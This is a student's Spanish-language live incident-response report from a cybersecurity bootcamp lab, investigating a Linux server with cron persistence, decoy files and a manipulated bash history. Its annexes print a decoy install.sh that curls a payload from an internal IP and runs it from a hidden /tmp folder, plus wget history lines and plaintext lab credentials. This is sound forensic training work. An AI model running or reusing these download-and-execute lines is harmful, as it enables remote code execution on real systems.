

INFORME TÉCNICO – LIVE INCIDENT RESPONSE

Proyecto Final – 4Geeks Academy

Alumno: Alvaro Chagas. Curso: Bootcamp Ciberseguridad. Fecha: 19/08/2026

1. Resumen Ejecutivo

Se realizó un proceso de Live Incident Response sobre un servidor Linux activo perteneciente al laboratorio de 4Geeks Academy. Debido a que el sistema simulaba un entorno de producción, la investigación se desarrolló sin apagar el servidor, preservando la disponibilidad del servicio y obteniendo las evidencias directamente desde el sistema operativo.

El objetivo fue identificar indicadores de compromiso, reconstruir la secuencia de eventos y elaborar recomendaciones de seguridad. Durante el análisis se revisaron usuarios, procesos, servicios, tareas programadas, registros de autenticación y archivos relevantes.

Aunque inicialmente las evidencias parecían indicar un ataque externo, la correlación de toda la información permitió concluir que los intentos de fuerza bruta nunca comprometieron el sistema y que existían artefactos preparados para simular una intrusión. Las acciones relevantes fueron realizadas desde una cuenta con acceso legítimo (sysadmin), por lo que el escenario resulta consistente con una amenaza interna o una manipulación deliberada del entorno.

2. Objetivos y Metodología

Objetivo general: realizar una investigación utilizando la metodología Live Incident Response, identificando evidencias del incidente y proponiendo medidas de fortalecimiento.

Como metodología se utilizaron herramientas nativas de Linux para inspeccionar el servidor en ejecución. Se analizaron usuarios, sesiones, procesos, conexiones de red, tareas Cron, scripts, registros de autenticación y el historial de comandos, documentando cada hallazgo mediante capturas de pantalla.

3. Hallazgos

Usuario 'hacker': se identificó una cuenta denominada hacker en /etc/passwd. Inicialmente fue considerada sospechosa; sin embargo, no presentaba inicios de sesión, privilegios administrativos, claves SSH ni procesos asociados, por lo que no pudo vincularse directamente con el incidente.

Persistencia mediante Cron: se encontró el archivo `/etc/cron.d/sys-maintenance`, encargado de ejecutar el script `/usr/local/bin/backup2.sh` cada quince minutos con privilegios de root. Este comportamiento representa un mecanismo de persistencia.

Script `backup2.sh`: el script comprimía el archivo `/etc/passwd` y lo enviaba mediante HTTP a una dirección remota. Este comportamiento fue clasificado como un intento de exfiltración de información.

Archivos inconsistentes: `backup.log` e `install.sh` presentaban información que no coincidía con el comportamiento observado en el sistema. Esto permitió considerarlos elementos señuelo destinados a aparentar una intrusión.

Registros SSH: `auth.log` mostró numerosos intentos fallidos de autenticación desde la IP 192.168.1.103. No se detectaron accesos exitosos desde esa dirección. El único acceso válido relevante correspondía al usuario `sysadmin`.

Historial de comandos: el archivo `.bash_history` evidenció modificaciones manuales, creación de archivos e inserción de comandos mediante `echo`, indicando manipulación deliberada de evidencias.

4. Reconstrucción del incidente

La hipótesis inicial planteaba una intrusión externa basada en la existencia del usuario hacker, los intentos de fuerza bruta y la presencia de scripts aparentemente maliciosos. Sin embargo, la correlación de todas las evidencias permitió descartar esa interpretación.

El usuario hacker nunca fue utilizado para acceder al sistema, los ataques SSH no tuvieron éxito y varios archivos contenían información incompatible con el comportamiento real del servidor. El historial del usuario `sysadmin` mostraba la creación de diversos artefactos y la alteración de evidencias.

En consecuencia, la explicación que mejor se ajusta a la evidencia disponible es la de una amenaza interna o una manipulación del entorno realizada desde una cuenta con acceso legítimo.

5. Recomendaciones

- Eliminar el cron `sys-maintenance` y el script `backup2.sh`.
- Auditar todas las cuentas locales y eliminar las que no sean necesarias.
- Rotar las credenciales administrativas.
- Revisar periódicamente tareas Cron y privilegios `sudo`.
- Implementar monitoreo continuo mediante Wazuh o un SIEM.
- Fortalecer SSH utilizando autenticación por claves y Fail2Ban.
- Mantener el sistema actualizado y realizar auditorías periódicas de logs e integridad.

6. Conclusiones

La investigación permitió reconstruir el incidente sin afectar la disponibilidad del servidor. El análisis técnico demostró que la hipótesis inicial de una intrusión externa no estaba respaldada por la totalidad de las evidencias. La correlación entre registros, scripts, tareas programadas e historial de comandos permitió concluir que las acciones relevantes fueron ejecutadas desde una cuenta legítima y que varios elementos fueron preparados para simular un ataque. Este ejercicio demostró la importancia de validar cada evidencia antes de emitir conclusiones y aplicar una metodología estructurada de respuesta a incidentes.

Anexos

Figura 1: Usuario hacker

```
sysadmin@4geeks-server:~$ sudo ls -la /home/hacker/.ssh
ls: cannot access '/home/hacker/.ssh': No such file or directory
sysadmin@4geeks-server:~$ sudo ls -la /home/hacker/
total 20
drwxr-xr-x 2 hacker hacker 4096 Jun 23  2025 .
drwxr-xr-x 5 root   root   4096 Jun 23  2025 ..
-rw-r--r-- 1 hacker hacker  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 hacker hacker  807 Feb 25  2020 .profile
sysadmin@4geeks-server:~$ id hacker
uid=1002(hacker) gid=1002(hacker) groups=1002(hacker)
sysadmin@4geeks-server:~$ _
```

Figura 2: Cron sys-maintenance

```
sysadmin@4geeks-server:~$ sudo rm /etc/cron.d/sys-maintenance
sysadmin@4geeks-server:~$ ls -la /etc/cron.d
total 24
drwxr-xr-x  2 root root 4096 Aug 19 19:55 .
drwxr-xr-x 100 root root 4096 Jun 23  2025 ..
-rw-r--r--  1 root root  201 Feb 14  2020 e2scrub_all
-rw-r--r--  1 root root   41 Jun 21  2025 logrotate
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
-rw-r--r--  1 root root  190 Mar 14  2023 popularity-contest
sysadmin@4geeks-server:~$ _
```

Figura 3: backup2.sh

```
sysadmin@4geeks-server:~$ sudo rm /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ ls -la /usr/local/bin/
total 8
drwxr-xr-x  2 root root 4096 Aug 19 19:56 .
drwxr-xr-x 10 root root 4096 Mar 14  2023 ..
sysadmin@4geeks-server:~$
```

Figura 4: backup.log e install.sh

```
sysadmin@4geeks-server:~$ cat /home/reports/backup.log
[INFO] Starting backup process...
[INFO] Compressing /etc/shadow...
[INFO] Uploading to 102.168.1.100:8080
[OK] Backup completed
sysadmin@4geeks-server:~$ cat /home/reports/install.sh
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
sysadmin@4geeks-server:~$ ls -la /home/reports/
total 44
drwxr-xr-x  3 reports reports 4096 Jun 23  2025 .
drwxr-xr-x  5 root    root    4096 Jun 23  2025 ..
-rw-r--r--  1 reports reports  129 Jun 23  2025 backup.log
-rw-----  1 reports reports  120 Jun 23  2025 .bash_history
-rw-r--r--  1 reports reports  220 Jun 21  2025 .bash_logout
-rw-r--r--  1 reports reports 3771 Jun 21  2025 .bashrc
drwx-----  2 reports reports 4096 Jun 23  2025 .cache
-rw-r--r--  1 reports reports  139 Jun 23  2025 chat.txt
-rw-r--r--  1 reports reports  270 Jun 23  2025 install.sh
-rw-r--r--  1 root    root     74 Jun 23  2025 .note
-rw-r--r--  1 reports reports  807 Jun 21  2025 .profile
sysadmin@4geeks-server:~$ _
```

Figura 5: .bash_history

```
sysadmin@4geeks-server:~$ cat /home/sysadmin/.bash_history
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
sysadmin@4geeks-server:~$
```